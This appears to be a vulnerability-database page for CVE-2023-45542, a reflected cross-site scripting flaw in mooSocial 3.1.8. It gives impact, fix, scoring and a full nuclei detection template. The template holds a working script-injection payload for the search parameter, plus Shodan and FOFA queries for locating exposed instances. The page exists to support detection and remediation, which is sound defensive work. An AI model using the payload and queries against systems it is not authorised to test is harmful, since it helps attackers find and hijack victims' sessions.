HexBrain

Browse / CVEs / CVE-2023-45542

CVE-2023-45542· moosocial / moosocial· CWE-79

MooSocial 3.1.8 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

A reflected cross-site scripting (XSS) vulnerability exisits in the q parameter on search function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.

Impact

Unauthenticated attackers can inject malicious JavaScript through the q parameter in search functionality to steal session cookies and impersonate victim accounts on the MooSocial platform.

Fix

Update mooSocial to a version newer than 3.1.8 that properly sanitizes the q parameter in search functionality and encodes output to prevent reflected XSS attacks.

How to confirm it

Send: GET {{BaseURL}}/search/index/?q=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "<script>alert(document.domain)</script>", "mooSocial")

Run it with nuclei: nuclei -id CVE-2023-45542 -u <target>

The full check
id: CVE-2023-45542

info:
  name: MooSocial 3.1.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exisits in the q parameter on search function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the q parameter in search functionality to steal session cookies and impersonate victim accounts on the MooSocial platform.
  remediation: |
    Update mooSocial to a version newer than 3.1.8 that properly sanitizes the q parameter in search functionality and encodes output to prevent reflected XSS attacks.
  reference:
    - https://github.com/ahrixia/CVE-2023-45542
    - https://nvd.nist.gov/vuln/detail/CVE-2023-45542
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-45542
    cwe-id: CWE-79
    epss-score: 0.01821
    epss-percentile: 0.78936
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query: http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve2023,cve,xss,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/search/index/?q=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3etest"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "mooSocial")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from